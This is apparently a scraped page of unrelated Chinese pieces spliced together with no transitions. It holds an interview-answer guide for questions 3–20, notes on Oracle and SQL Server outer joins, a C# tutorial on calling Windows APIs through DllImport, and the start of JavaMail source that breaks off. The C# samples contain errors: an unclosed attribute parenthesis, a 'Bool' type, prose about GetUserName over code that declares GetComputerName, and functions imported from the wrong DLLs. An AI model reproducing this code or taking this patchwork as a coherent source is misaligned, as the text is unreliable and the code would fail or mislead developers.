         评论 这个回答做到了“一箭三雕”。首先,它确实表明了求职者的最大长处。其次,它所表达的弱点实际上很容易被理解为长处。最后,它指出了这个求职者的长处和弱点对企业和其他员工的好处。
        
         问题3
        
         是否有教授或者咨询师曾经让你处于尴尬境地,还让你感到不自信?在这种情况下,你是怎样回应的?
        
         分析 这个问题考查的是求职者在陌生领域工作的能力。通过这个问题,面试人可以了解到,当所给的任务超过自己目前的能力水平时,求职者解决问题的意愿和能力。
        
         错误回答 我相信质疑权威是很重要的,但我不可能在学校里学到一切知识。很多人以为自己知道所有问题的答案,可实际上他们并不了解真实世界里发生的一切。你知道,那些都是象牙塔里的东西。
        
         评论 这种回答的最大问题在于,求职者把问题的焦点从自己身上转移了。严肃的面试人并不关心你对高等教育的观点。他们想知道的是,当出现问题中给出的情况时,你将怎样处理。这种回答的另一个弊端是,它会使面试人对你是否愿意服从领导产生怀疑。
        
         正确回答 在我当学生的这几年中,我尽自己所能多学习知识,经常选择一些不熟悉的课程,因此往往会受到教授的质疑。不管什么时候,当我觉得自己对这个科目知之甚少时,我就尝试预见一些问题,为回答问题做些准备。当我被难住时,我尽可能做出科学合理的猜测,承认我不知道的东西,并且从不懂的地方开始学习。(如果可能,你可以举出一个例子……)
        
         评论 这种回答的最大好处在于,它清楚地表明了求职者会积极面对艰难处境。它也显示了求职者有雄心和明确的态度,知道怎样处理离奇和模糊的问题。
        
         问题4
        
         你是否曾经得到过低于自己预期的成绩?如果得到过,你是怎样处理这件事情的?
        
         分析 通过对这个问题的回答除了可以揭示求职者的热情和进取心外,还可以揭示求职者是否愿意为某一事业奋斗,是否愿意为追求公平而奋斗。
        
         错误回答 记得有一次,我觉得应该得B但却得了C,我去找辅导员,他给我看了我在每个项目上的得分情况——我处在C级的边缘但很明显是C。我很高兴能核实一下而不是接受既定的分数值。
        
         评论 这个问题开始时回答得很好,但最后却不尽如人意。从最初的情况看,求职者似乎愿意追查到底。但是后来很显然,他(她)没有试图做出改变。
        
         正确回答 我曾经和一个研究地球科学的教授有过一段令人记忆犹新的经历。这个人一向以偏袒理科生而出名,而我偏偏又不是理科生。在我们班上,所有的非理科生都感到,他对我们的知识基础有着非常不切实际的期望。由于他的偏见,这些非理科生大多都表现不好。尽管我表现还算不错,但我还是和其他学生一道向系领导发出了一份声明,建议校方审查一下他的教学方式。
        
         评论 这种回答能够表明,这名求职者有能力克服困难处境,而且能够脱颖而出并居于领先地位。这样的回答还可以表明,这名求职者高度重视公平感。同时也表明了求职者十分关心集体利益。
        
         问题5
        
         出于工作晋升的考虑,你打算继续深造吗?
        
         分析 这是一个简单的问题,它可以用来衡量你的雄心,也可以判断企业对你的重视程度是否会影响你对自己未来的重视程度。
        
         错误回答 我不知道。我已获得了管理学学士学位,我认为自己已经受到了很好的教育。我觉得实际工作经验比在学校里学到的东西更有价值。
        
         评论 尽管求职者试图通过这种回答反映其积极的一面,而且这样回答从某种程度上也可以间接地讨好面试人(面试人就是“实际工作”的一部分),但是,它根本没有反映出求职者追求上进的意愿。因此,根据求职者所表达的信息,如果碰上一个乐观的面试者,他(她)会认为你缺乏雄心,如果碰上一个悲观的面试者,他(她)可能会认为你很自负。
        
         正确回答 作为一名大学生,我学到了很多知识。如果有合适的机会,我当然会考虑继续深造。但是,我会认真考虑这件事情,我觉得很多人回学校学习是很盲目的。如果我发现自己所做的工作确实有价值,而且也需要获得更多的教育才能在这一领域做得出色,我当然会毫不犹豫地去学习。
        
         评论 这种回答显示了求职者的雄心、热情以及动力。同时也表明,求职者具有与众不同的头脑,而且对重大职业决策非常认真。
      问题6
        
         你曾经参加过哪些竞争活动?这些活动值得吗?
        
         分析 通过调查你经历过的实际竞争场景,可以反映你对竞争环境的适应程度,也可以反映你的自信心。当竞争成为关键因素时,正是讨论小组活动或企业业务的一个绝好机会。
        
         错误回答 从本质上说,我是一个竞争性很强的人。我认为,在所有我做过的事情中,我实际上都采取了一种竞争性的态度。毕竟,只有这样你才能在竞争激烈的企业界生存,对吧?
        
         评论 这样的求职者阅读了太多关于鲨鱼和汉斯之类的故事,他这样回答让人感觉在企业界不是你死就是我活。尽管企业界是高度竞争的,但是企业中的人憎恨别人把自己看成是凶猛的梭子鱼。
        
         正确回答 我喜欢小组运动,我一直都尽我所能参加这些活动。我过去经常打篮球,现在有时候也打。同小组一起工作、为实现共同目标而努力、在竞争中争取胜利……这些事情确实非常令人兴奋。
        
         评论 这种回答表明,求职者能够正确看待竞争。这意味着他(她)能够利用竞争力量在竞争中取胜,而不会毁掉同事的工作成果。
        
         问题7
        
         你怎样影响其他人接受你的看法?
        
         分析 你的回答将告诉面试人,首先,你对影响别人有什么看法。其次,你影响别人的能力究竟有多大。
        
         错误回答 一般情况下,这取决于这种想法的价值。如果这是一个好想法而且我所交往的人是通情达理的,那么,一般情况下,让别人接受我的想法不会太难。
        
         评论 这种回答的问题在于,它并没有解决实际问题。这个问题实质上问的是你怎样对待那些不赞同你的看法的人。这个回答表明,你愿意在一种和谐的工作环境中工作,不喜欢不和谐的工作氛围。
        
         正确回答 这是多年来我一直非常努力探索的一个领域。对于好的想法,甚至是伟大的想法,人们有时并不接受。我现在认识到这样一个事实,那就是你表达想法的方式同想法本身一样重要。当我试图影响别人时,我一般会假设自己处在他们的位置上,让自己从他们的角度来看待问题。然后我就能够以一种更可能成功的方式向他们陈述我的想法。
        
         评论 首先,这个回答表明,你理解人际沟通的复杂性,知道使别人改变看法具有一定的难度。其次,这个回答还表明,你知道影响别人时运用策略很重要,而且也能够采用合理的方式说服别人。最后,这个回答还表明,你知道在沟通困难的情况下,沟通方式和沟通内容一样重要。
        
         问题8
        
         在做口头表达方面你有哪些经验?你怎样评价自己的口头表达能力?
        
         分析 这个问题旨在测评你的公共演讲能力,同时也可以了解你对演讲能力的自我评价。
        
         错误回答 我认为每个人都会在做演讲时感到紧张,我可以做口头表达,但是说实话,人们并不总是愿意倾听。我认为,有时候,给人们发放纸面信息再回答他们的问题,这样做会更好一些。
        
         评论 这种回答清楚地表明,你这方面的能力很欠缺,它不仅说明你不喜欢口头表达,同时也意味着你不愿提高自己的口头表达技能。
        
         正确回答 我曾经看到一篇文章,说公共演讲是美国人最害怕的事情。我认识到,如果大多数人都害怕做公共演讲,那么在克服自己的恐惧并掌握口头陈述技能之后,我就能够在竞争中更胜一筹。因此我抓住所有的机会做演讲,而且我发现,做的演讲越多,就越对演讲感到轻松自如——当然也做得更好。
        
         评论 这是一个很好的回答。因为它具体说明了你在这方面的能力,而且它也表明你正在继续努力提高自己的演讲技能。通过承认口头陈述是很复杂的,求职者同时表明了自己的诚实和正直。
        
         问题9
        
         你怎样比较自己的口头技能和写作技能?
        
         分析 这是一个暗藏杀机的问题。无论什么时候,只要被问及对两种事情做比较的问题,你就一定要小心。这样的问题通常是想让你说出自己的弱点。
        
         错误回答 (任何表明自己的某一技能比另一技能好的回答)
        
         评论 你中圈套了。
        
         正确回答 从现在的情形看,企业越来越重视职员的能力,希望他们在口头表达和书面表达方面都能够做到清晰、明确。我总是利用机会提高自己的口头沟通和书面表达技能。我认为,这两种技能都是极为重要的,任何想要在企业界取得成功的人,这两种技能都应该具备。
        
         评论 这种回答避开了陷阱,避免被别人认为自己在某一方面薄弱。同时,也可以表明,你理解高效沟通技能的重要性。更重要的是,它可以使面试人确信,在一般技能方面你拥有坚实的基础,而这些技能是无论什么企业都需要的。
        
         问题10
        
         在写专业论文时你最不喜欢哪些方面?
        
         分析 这个问题可以判断你是否愿意开展研究工作,是否愿意发现信息并找到困难问题的解决办法。
        
         错误回答 我最担心的就是进行一个自己不感兴趣的研究课题。如果我对研究课题感兴趣,我不介意开展研究工作。但很多时候,研究所得的成果并不能在实际中得到应用。
        
         评论 尽管很多读者可能会同意这种回答,但它却不能让面试人感到满意。很多工作任务都是单调和繁琐的,听到求职者表示不喜欢枯燥的事情,这会让人感到很不舒服。
        
         正确回答 如果我认真工作的话,我会发现某一题目有无穷多的信息。我认为最难的工作就是判定什么时候才能获得足够的信息可以开始动笔写论文。
        
         评论 这种回答表明,求职者理解研究的意义并愿意从事研究工作。它还表明求职者能够深入调查,也表明求职者能够胜任书面论文的写作。
      问题11
        
         上下级之间应该怎样交往?
        
         分析 通过这个问题可以了解求职者在企业等级结构中的沟通方式。通过对这一问题的回答,求职者可以展示自己在复杂领域工作的技能水平。
        
         错误回答 我愿意并且相信我们可以成为朋友。毕竟,如果你要和某人团结合作,你最好要了解这个人。只有这样,大家才能互相理解,而且你也可以避免很多不必要的冲突。
        
         评论 这个回答的最糟糕之处在于,它表明求职者非常不成熟。任何对工作中的人际关系稍微有点了解的人都知道,冲突在工作中是不可避免的。认为建立亲密友谊可以化解矛盾的想法,表明求职者不能真正理解工作关系与个人关系的界限。
        
         正确回答 我认为,能在企业各个层面上清楚地进行交流,这对企业的生存至关重要。我认为自己已经在这个方面培养了很强的能力。从上下级关系来说,我认为最重要的是应该意识到每个人以及每种关系都是不同的。对我来说最好的方式就是始终不带任何成见地来对待这种关系的发展。
        
         评论 这种回答表明,求职者理解人际关系的复杂性以及多样性。求职者明确地表达了高效沟通技能的重要性,同时也显示了自己在这方面的自信。
        
         问题12
        
         你的好友怎样评价你?
        
         分析 通过这个问题可以了解求职者的个性。这个问题看起来与求职者的潜能无关,但它反映了一种趋势,那就是企业倾向于雇用有高尚道德标准和高超技能的人。
        
         错误回答 我认为他们会说我是一个有趣的人。对我最恰当的评价就是,我喜欢努力工作和尽情娱乐。
        
         评论 这种回答听起来似乎无懈可击,但是它却存在几个问题。首先,这种回答并没有对所提问题做出答复,还会让面试人怀疑求职者没有亲密的朋友。另外,这种回答也会让面试人怀疑“尽情娱乐”的本质,从而有可能提出更多具有杀伤力的问题,比如有关酗酒和吸毒等问题。
        
         正确回答 我的朋友对我很重要。在与朋友的交往中,最重要的是,彼此之间有互相依赖的感觉。我们都很忙,并不能经常会面,但在我可以称为亲密朋友的几个人中,我们都知道,大家随时可以互相依赖。
        
         评论 这种回答反映了一种成熟感,如今的企业非常重视这种感觉。求职者的优良素质和对少数几个朋友的重视,都可以表明求职者的心理素质相当稳定。有关的故事听起来也必须真实,如果不真实就不要使用——因为这不会奏效。
        
         问题13
        
         你和同事们怎样相处?
        
         分析 通过这个问题以及前面上下级关系和朋友关系的问题,面试人可以对求职者的有效沟通技能得出一个总体印象。从某种意义上说,如何和同事们相处是最关键的沟通问题,因为根据美国劳工部的统计,在离职的人中,80%是因为不能适应其他人。与同事的有效沟通能力将减少面试人的担心,避免他(她)认为你是又一个不合适的人选。
        
         错误回答 我是一个容易交往的人,能够同大多数人和谐相处。到目前为止,我还从来没有真正遇到过无法与我相处的人。我们总会遇到某个自己不太喜欢的人,这种人不像其他人一样容易相处,但是我努力忽略这一点。如果某个人确实讨厌,我就耐心等待,直到他们最终消失——我相信这种人不会在这里待太久。
        
         评论 同某些错误回答一样,这种回答看起来也相当无害。但是它有几个漏洞。首先,没有人能够跟所有人和谐相处。在做出能够和所有人相处的泛泛陈述后,紧接着却谈论自己不喜欢的人,这使得这种回答听起来有点矛盾。最后,求职者打破了面试的一个主要规则——永远不说别人的不好。
        
         正确回答 我一般都能与同事相处得很好。当然有时候也可能会同某人发生冲突。这时,我一般会注意寻找冲突的根源,而不是转移到对对方的攻击上。我发现这种方法非常有效,它可以使我同任何人都维持一种相互尊重的关系。另外,通过这样做,我往往都能解决问题,甚至会促进与同事的关系。
        
         评论 这种回答表明,求职者的心理是稳定的,而且具有很高的人际协调能力。通过将问题和人格区别开来,求职者表明了自己在过去曾经顺利解决过人际关系问题,而且过去在人际关系方面也很成功。
        
         问题14
        
         你认为自己最显著的成就是什么?为什么?
        
         分析 这个问题可以让面试人了解你的价值观。你选择谈论的事情将揭示出你的道德标准以及你的侧重点。
        
         错误回答 从小到大的求学经历是非常艰难的。你知道,我顺利完成了学业,我很自豪自己能一边学习一边工作。
        
         评论 从表面上看,这种回答似乎无懈可击,很多人可能也用过类似的回答方式,但是,事实上它存在着几个方面的缺陷。首先,学生求学在今天是相当普遍的,因此这并没有什么独特之处。其次,这种回答集中强调一个进行的过程而不是某一具体活动,并不能突出你的独特性。
        
         正确回答 (这里我并没有给出一种具体的方法来供你参考,但我建议你考虑一下,自己做过的事情中有哪些能突出你的独特性。比如,在一次数学竞赛中获得一等奖,被选举为班长,妥善处理了一次家庭危机,写了一篇综合性的校报文章,在辩论赛中获胜,重新制作一台汽车引擎,重组一个部门,成功地开发一条新生产线……)
        
         评论 在这些例子中,每一个实例都应该是独特、深刻的,而且它能够将你与其他人区分开来。要记住,对于你的成就,你并不需要得到正式承认。你运用这些实例只是想表明自己做得很出色,很为之自豪。花费点时间想一想这方面的事情。这种方法比千篇一律的“我顺利完成学业”更有效果。
        
         问题15
        
         在什么情况下你的工作最为成功?
        
         分析 这个问题考查的是你在什么条件下工作最有成效,你的回答将反映出你青睐的工作方式,反映出那些影响你成功的因素,同时也可能反映出你的缺陷。
        
         错误回答 只要我用心去做,任何事情都会取得成功。只要知道别人的期望,我一般都能够做到使之满意。
        
         评论 尽管这是一个看起来比较合理的回答,但它也存在缺陷。同前面的问题一样,我们称其为一种通用回答,它最多只能给面试人留下浅浅的印象。这种回答的真正问题在于,它假定企业寻找的是那种善于听从指令的人,而不是勇于开拓的人。在当今时代,大多数企业都在寻找能够自我激励的人,因此,在面试中表明你需要别人指导可能是致命的。
        
         正确回答 我解决问题的方式是一个系统过程,这个过程包括收集与问题有关的信息,清楚地界定问题,制定策略以及实施这个策略。我发现大多数人忽略前两个步骤而直接跳到策略的制定和实施上。只要拥有足够的信息而且能够看清问题,我就可以解决任何问题。
        
         评论 这种回答表明,求职者过去曾经解决过困难问题,曾经思考过解决问题的策略,而且也形成了一套解决困难问题的方法。同时,它显示了求职者的自信,表明了这些技能在经过实践检验后是可行的。另外,它也说明求职者愿意在将来使用这些技能。
      问题16
        
         为了实现自己的目标你会怎样努力工作?
        
         分析 很明显,面试人希望通过对这个问题的回答来确认求职者是否是一个努力工作的人。回答这个问题的关键在于,你一定要显示出自己履行责任的意愿和能力。
        
         错误回答 我对某一任务的重视程度取决于这一任务的难度,同时也取决于我对完成这项任务的迫切程度。如果我认定某项工作确实很重要,我就会投入全部的精力来完成这项工作。
        
         评论 这里的第一个错误是求职者自认为精力是有限的。任何企业都不会对看起来精力有限的人感兴趣。其次,求职者只有对他(她)个人感兴趣的工作才会重视和投入,这种说法表明他(她)不愿意接受不太感兴趣的任务。
        
         正确回答 对我来说,如何努力工作,不是问题。我的做事原则是,如果我制定了一个目标或者被分配了一项重要任务,我就会尽我所能地努力工作,实现预期的目标。所以对我来说,重要的是怎样出色地工作——也就是说,怎样工作才能尽可能简单和顺利地完成任务,这样我就可以把精力转移到其他事情上。
        
         评论 这种回答的好处在于,它表明求职者有无限的能量,而且对工作也非常投入。它还表明,求职者解决问题是为了能更好地利用他(她)的资源——这才是这个问题的实质所在。
        
         问题17
        
         竞争对你的成就有什么积极或者消极的影响?是怎样影响的?
        
         分析 根据对这个问题的回答可以剔除那些不适应竞争环境的候选者。面试人想要弄清的是,当竞争形势发展到什么程度时,求职者会感到力不从心。
        
         错误回答 我喜欢竞争。有时候它能给我一种推动力量。为了开展工作,我需要这种推动。我从来没觉得竞争无法承受。它是生活的一部分,也是推动我工作的动力。
        
         评论 大多数人都会对这种回答持怀疑态度。另外,从求职者的回答看,它好像表明求职者有点屈尊。大多数人都发现,至少在某些时候竞争会使人感到非常有压力。这种回答还暗示求职者缺乏激励动机,需要以竞争作为一种激励元素。
        
         正确回答 如果害怕竞争,我就不会申请这份工作。我知道竞争是始终存在的,对我来说最重要的是意识到竞争,清楚我们在为什么而竞争。当我处在竞争环境中时,我首先要确保自己头脑清醒,理解所处的危险处境。一旦我了解了竞争形势和规则,就会全身心地投入到竞争中去。
        
         评论 同“错误回答”一样,这种回答也对竞争表现出积极的看法,但这种回答却并没有掩饰错误。它表明,根据以前的经验,求职者会用一种清晰、明确的方式来对待竞争。
        
         问题18
        
         你怎样看待自己未来5年的赚钱潜力?
        
         分析 这个问题背后隐藏的真实含义是:“你是否对我们的企业有足够的雄心,是否为自己制定了远期目标?”
        
         错误回答 我希望一年挣10万美元。我需要的东西有很多:一辆好车、大大的房子,可能的话最好还有一艘船。我认为未来的5年内,10万美元是一个比较满意的起点。
        
         评论 没有评论。
        
         正确回答 我相信我的才干可以为我赢得体面的生活;这也正是我在你们这样有名的企业申请工作的理由。我计划赚取足够多的钱,以便能过上舒适的生活,而且我也愿意竭尽全力,以确保自己在整个职业生涯中都能获得丰厚的薪水。
        
         评论 同前面回答不同的是,这个求职者很清楚地意识到不应该谈及美元的具体数字。除非是在工资谈判中,否则的话,指出具体数字是非常不合适的,还会使你显得俗气。表现出一种自尊感会给面试人带来信心,让他觉得你是一个有价值的求职者。
        
         问题19
        
         你在找工作时最看重的是什么?为什么?
        
         分析 通过提出这个开放式问题,面试人可以了解你的关注重点,通过这个关注点又可以反映出你的理性思考能力。一定要表明自己对未来工作的看法,说明哪些方面能给自己带来最大程度的满足,这是回答这个问题的关键,但是回答这个问题的方法也同样重要。
        
         错误回答 我希望得到一份确实能展示我的才能并且具有良好前景的工作。我认为在你们这样的企业工作可以使自己与众不同。
        
         评论 除了表现出求职者是一个自大狂,迫切需要得到承认外,这种回答还有其他几个问题。这种回答并没有满足雇主的需要——这是回答每个问题都应该注意的。除此之外,它还会使面试人怀疑求职者是否理解工作的本质。
        
         正确回答 我希望找到的工作能发挥我的长处,比如……(说出具体技能)我认为还有一件事情也很重要,那就是我在企业中的作用要与企业目标联系在一起。如果工作中偶尔有些挑战,让我超越自己目前的技能水平,那就再好不过了。
        
         评论 尽管回答相当简洁,但实现了三个目的:突出了求职者的技能;表明了求职者明白个人与企业的关系;同时也说明求职者理解变化与发展的重要性。
        
         问题20
        
         你认为我们企业是如何取得成功的?
        
         分析 这个问题是用来判断求职者是否对企业有所了解。招聘者之所以使用这个问题,其目的是为了剔除那些对这份工作不够感兴趣,或者不够聪明、不能胜任工作的人。
        
         错误回答 哦,因为你们是一家非常成功的企业,我猜想你们比较注重保持领先地位和击败竞争对手。我敢打赌,你们一定把利润作为衡量成功与否的关键尺度。
        
         评论 尽管这种回答可能是对的,但是因为它太过笼统,所以不可能给面试人留下什么积极的印象。它没有向面试人说明求职者的兴趣,也没有说明求职者对企业的了解程度。通过这个回答,面试人可以相当肯定地认为,求职者对企业以及企业的目标一无所知。
        
         正确回答 我已经注意到,你们的企业在过去两年中开发了一系列新产品。看起来你们采取了各种措施来开发产品和制定营销战略。我认为你们衡量成功的标准应该是新产品在市场上的领先程度。
        
         评论 尽管这种回答(仅仅是举个实例而已)没有“错误回答”那样具体,但它表明求职者对企业的业务有所了解。认为企业注重取得业内领先地位、了解企业在过去两年内取得的成就,这些都表明求职者对企业以及企业的成功衡量标准有比较深入的了解。

      一般的相等连接:
      select * from a, b where a.id = b.id;
      这个就属于内连接。


      外连接(Oracle):
      Oracle中可以使用“(+) ”来表示,9i可以使用LEFT/RIGHT/FULL OUTER JOIN 
       
      LEFT OUTER JOIN:左外关联 
      SELECT e.last_name, e.department_id, d.department_name 
      FROM employees e 
      LEFT OUTER JOIN departments d 
      ON (e.department_id = d.department_id); 
      等价于 
      SELECT e.last_name, e.department_id, d.department_name 
      FROM employees e, departments d 
      WHERE e.department_id=d.department_id(+) 
      结果为:所有员工及对应部门的记录,包括没有对应部门编号department_id的员工记录。 
       
      RIGHT OUTER JOIN:右外关联 
      SELECT e.last_name, e.department_id, d.department_name 
      FROM employees e 
      RIGHT OUTER JOIN departments d 
      ON (e.department_id = d.department_id); 
      等价于 
      SELECT e.last_name, e.department_id, d.department_name 
      FROM employees e, departments d 
      WHERE e.department_id(+)=d.department_id 
      结果为:所有员工及对应部门的记录,包括没有任何员工的部门记录。 
       
      FULL OUTER JOIN:全外关联 
      SELECT e.last_name, e.department_id, d.department_name 
      FROM employees e 
      FULL OUTER JOIN departments d 
      ON (e.department_id = d.department_id); 
      结果为:所有员工及对应部门的记录,包括没有对应部门编号department_id的员工记录和没有任何员工的部门记录。


      ORACLE8i是不直接支持完全外连接的语法,也就是说不能在左右两个表上同时加上(+),下面是在ORACLE8i可以参考的完全外连接语法
      select t1.id,t2.id from table1 t1,table t2 where t1.id=t2.id(+)
      union
      select t1.id,t2.id from table1 t1,table t2 where t1.id(+)=t2.id


      外连接(SqlServer):
      SqlServer 中可以使用“(*) ”来表示(T-SQL)
      ,也可以使用 LEFT/RIGHT/FULL OUTER JOIN(SQL-92)

      select a.*, b.* from a, b where a.id *= b.id  --相当于左联接
      select a.*, b.* from a, b where a.id =* b.id  --相当于右联接
      select a.*,b.* from a left outer join b on a.id=b.id
      select a.*,b.* from a right outer join b on a.id=b.id

      用Visual C#调用Windows API函数

      Api函数是构筑Windws应用程序的基石,每一种Windows应用程序开发工具,它提供的底层函数都间接或直接地调用了Windows API函数,同时为了实现功能扩展,一般也都提供了调用WindowsAPI函数的接口, 也就是说具备调用动态连接库的能力。Visual C#和其它开发工具一样也能够调用动态链接库的API函数。.NET框架本身提供了这样一种服务,允许受管辖的代码调用动态链接库中实现的非受管辖函数,包括操作系统提供的Windows API函数。它能够定位和调用输出函数,根据需要,组织其各个参数(整型、字符串类型、数组、和结构等等)跨越互操作边界。


      下面以C#为例简单介绍调用API的基本过程:
      动态链接库函数的声明
       动态链接库函数使用前必须声明,相对于VB,C#函数声明显得更加罗嗦,前者通过 Api Viewer粘贴以后,可以直接使用,而后者则需要对参数作些额外的变化工作。


       动态链接库函数声明部分一般由下列两部分组成,一是函数名或索引号,二是动态链接库的文件名。
        譬如,你想调用User32.DLL中的MessageBox函数,我们必须指明函数的名字MessageBoxA或MessageBoxW,以及库名字User32.dll,我们知道Win32 API对每一个涉及字符串和字符的函数一般都存在两个版本,单字节字符的ANSI版本和双字节字符的UNICODE版本。


       下面是一个调用API函数的例子:
      [DllImport("KERNEL32.DLL", EntryPoint="MoveFileW", SetLastError=true,
      CharSet=CharSet.Unicode, ExactSpelling=true,
      CallingConvention=CallingConvention.StdCall)]
      public static extern bool MoveFile(String src, String dst);


       其中入口点EntryPoint标识函数在动态链接库的入口位置,在一个受管辖的工程中,目标函数的原始名字和序号入口点不仅标识一个跨越互操作界限的函数。而且,你还可以把这个入口点映射为一个不同的名字,也就是对函数进行重命名。重命名可以给调用函数带来种种便利,通过重命名,一方面我们不用为函数的大小写伤透脑筋,同时它也可以保证与已有的命名规则保持一致,允许带有不同参数类型的函数共存,更重要的是它简化了对ANSI和Unicode版本的调用。CharSet用于标识函数调用所采用的是Unicode或是ANSI版本,ExactSpelling=false将告诉编译器,让编译器决定使用Unicode或者是Ansi版本。其它的参数请参考MSDN在线帮助.


       在C#中,你可以在EntryPoint域通过名字和序号声明一个动态链接库函数,如果在方法定义中使用的函数名与DLL入口点相同,你不需要在EntryPoint域显示声明函数。否则,你必须使用下列属性格式指示一个名字和序号。


      [DllImport("dllname", EntryPoint="Functionname")]
      [DllImport("dllname", EntryPoint="#123")]
      值得注意的是,你必须在数字序号前加“#”
      下面是一个用MsgBox替换MessageBox名字的例子:
      [C#]
      using System.Runtime.InteropServices;


      public class Win32 {
      [DllImport("user32.dll", EntryPoint="MessageBox")]
      public static extern int MsgBox(int hWnd, String text, String caption, uint type);
      }
      许多受管辖的动态链接库函数期望你能够传递一个复杂的参数类型给函数,譬如一个用户定义的结构类型成员或者受管辖代码定义的一个类成员,这时你必须提供额外的信息格式化这个类型,以保持参数原有的布局和对齐。


      C#提供了一个StructLayoutAttribute类,通过它你可以定义自己的格式化类型,在受管辖代码中,格式化类型是一个用StructLayoutAttribute说明的结构或类成员,通过它能够保证其内部成员预期的布局信息。布局的选项共有三种:


      布局选项
      描述
      LayoutKind.Automatic
      为了提高效率允许运行态对类型成员重新排序。
      注意:永远不要使用这个选项来调用不受管辖的动态链接库函数。
      LayoutKind.Explicit
      对每个域按照FieldOffset属性对类型成员排序
      LayoutKind.Sequential
      对出现在受管辖类型定义地方的不受管辖内存中的类型成员进行排序。
      传递结构成员
      下面的例子说明如何在受管辖代码中定义一个点和矩形类型,并作为一个参数传递给User32.dll库中的PtInRect函数,
      函数的不受管辖原型声明如下:
      BOOL PtInRect(const RECT *lprc, POINT pt);
      注意你必须通过引用传递Rect结构参数,因为函数需要一个Rect的结构指针。
      [C#]
      using System.Runtime.InteropServices;


      [StructLayout(LayoutKind.Sequential)]
      public struct Point {
      public int x;
      public int y;
      }


      [StructLayout(LayoutKind.Explicit]
      public struct Rect {
      [FieldOffset(0)] public int left;
      [FieldOffset(4)] public int top;
      [FieldOffset(8)] public int right;
      [FieldOffset(12)] public int bottom;
      }


      class Win32API {
      [DllImport("User32.dll")]
      public static extern Bool PtInRect(ref Rect r, Point p);
      }
      类似你可以调用GetSystemInfo函数获得系统信息:
      ? using System.Runtime.InteropServices;
      [StructLayout(LayoutKind.Sequential)]
      public struct SYSTEM_INFO {
      public uint dwOemId;
      public uint dwPageSize;
      public uint lpMinimumApplicationAddress;
      public uint lpMaximumApplicationAddress;
      public uint dwActiveProcessorMask;
      public uint dwNumberOfProcessors;
      public uint dwProcessorType;
      public uint dwAllocationGranularity;
      public uint dwProcessorLevel;
      public uint dwProcessorRevision;
      }



      [DllImport("kernel32")]
      static extern void GetSystemInfo(ref SYSTEM_INFO pSI);


      SYSTEM_INFO pSI = new SYSTEM_INFO();
      GetSystemInfo(ref pSI);


      类成员的传递
      同样只要类具有一个固定的类成员布局,你也可以传递一个类成员给一个不受管辖的动态链接库函数,下面的例子主要说明如何传递一个sequential顺序定义的MySystemTime类给User32.dll的GetSystemTime函数, 函数用C/C++调用规范如下:


      void GetSystemTime(SYSTEMTIME* SystemTime);
      不像传值类型,类总是通过引用传递参数.
      [C#]
      [StructLayout(LayoutKind.Sequential)]
      public class MySystemTime {
      public ushort wYear;
      public ushort wMonth;
      public ushort wDayOfWeek;
      public ushort wDay;
      public ushort wHour;
      public ushort wMinute;
      public ushort wSecond;
      public ushort wMilliseconds;
      }
      class Win32API {
      [DllImport("User32.dll")]
      public static extern void GetSystemTime(MySystemTime st);
      }
      回调函数的传递:
      从受管辖的代码中调用大多数动态链接库函数,你只需创建一个受管辖的函数定义,然后调用它即可,这个过程非常直接。
      如果一个动态链接库函数需要一个函数指针作为参数,你还需要做以下几步:
      首先,你必须参考有关这个函数的文档,确定这个函数是否需要一个回调;第二,你必须在受管辖代码中创建一个回调函数;最后,你可以把指向这个函数的指针作为一个参数创递给DLL函数,.


      回调函数及其实现:
      回调函数经常用在任务需要重复执行的场合,譬如用于枚举函数,譬如Win32 API 中的EnumFontFamilies(字体枚举), EnumPrinters(打印机), EnumWindows (窗口枚举)函数. 下面以窗口枚举为例,谈谈如何通过调用EnumWindow 函数遍历系统中存在的所有窗口


      分下面几个步骤:
      1. 在实现调用前先参考函数的声明
      BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARMAM IParam)
      显然这个函数需要一个回调函数地址作为参数.
      2. 创建一个受管辖的回调函数,这个例子声明为代表类型(delegate),也就是我们所说的回调,它带有两个参数hwnd和lparam,第一个参数是一个窗口句柄,第二个参数由应用程序定义,两个参数均为整形。


        当这个回调函数返回一个非零值时,标示执行成功,零则暗示失败,这个例子总是返回True值,以便持续枚举。
      3. 最后创建以代表对象(delegate),并把它作为一个参数传递给EnumWindows 函数,平台会自动地 把代表转化成函数能够识别的回调格式。


      [C#]
      using System;
      using System.Runtime.InteropServices;


      public delegate bool CallBack(int hwnd, int lParam);


      public class EnumReportApp {


      [DllImport("user32")]
      public static extern int EnumWindows(CallBack x, int y);


      public static void Main()
      {
      CallBack myCallBack = new CallBack(EnumReportApp.Report);
      EnumWindows(myCallBack, 0);
      }


      public static bool Report(int hwnd, int lParam) {
      Console.Write("窗口句柄为");
      Console.WriteLine(hwnd);
      return true;
      }
      }



      指针类型参数传递:
       在Windows API函数调用时,大部分函数采用指针传递参数,对一个结构变量指针,我们除了使用上面的类和结构方法传递参数之外,我们有时还可以采用数组传递参数。


       下面这个函数通过调用GetUserName获得用户名
      BOOL GetUserName(
      LPTSTR lpBuffer, // 用户名缓冲区
      LPDWORD nSize // 存放缓冲区大小的地址指针
      );
       
      [DllImport("Advapi32.dll",
      EntryPoint="GetComputerName",
      ExactSpelling=false,
      SetLastError=true)]
      static extern bool GetComputerName (
      [MarshalAs(UnmanagedType.LPArray)] byte[] lpBuffer,
        [MarshalAs(UnmanagedType.LPArray)] Int32[] nSize );
       这个函数接受两个参数,char * 和int *,因为你必须分配一个字符串缓冲区以接受字符串指针,你可以使用String类代替这个参数类型,当然你还可以声明一个字节数组传递ANSI字符串,同样你也可以声明一个只有一个元素的长整型数组,使用数组名作为第二个参数。上面的函数可以调用如下:


      byte[] str=new byte[20];
      Int32[] len=new Int32[1];
      len[0]=20;
      GetComputerName (str,len);
      MessageBox.Show(System.Text.Encoding.ASCII.GetString(str));
       最后需要提醒的是,每一种方法使用前必须在文件头加上:
       using System.Runtime.InteropServices;

      发送邮件源码(Ver 1.0)

      JavaMail.java

      /*
       * Created on 2005-6-14 Version 1.0
       *
       * TODO To change the template for this generated file go to
       * Window - Preferences - Java - Code Style - Code Templates
       */
      package sky.javamail;


      //import java.io.*;
      import java.util.*;
      import javax.mail.*;
      import javax.activation.*;
      import javax.mail.internet.*;


      /**
       * @author Sky Chen
       *
       * TODO To change the template for this generated type comment go to Window -
       * Preferences - Java - Code Style - Code Templates
       */
      public class JavaMail {
       //private Properties props = System.getProperties();
       private Properties props = null;//new Properties();


       private Session session = null;


       private Transport transport = null;


       //private Message msg = null;
       private MimeMessage msg = null;


       private MimeMultipart mm = new MimeMultipart();


       private MimeBodyPart mbp = new MimeBodyPart();


       private String auth = "false";


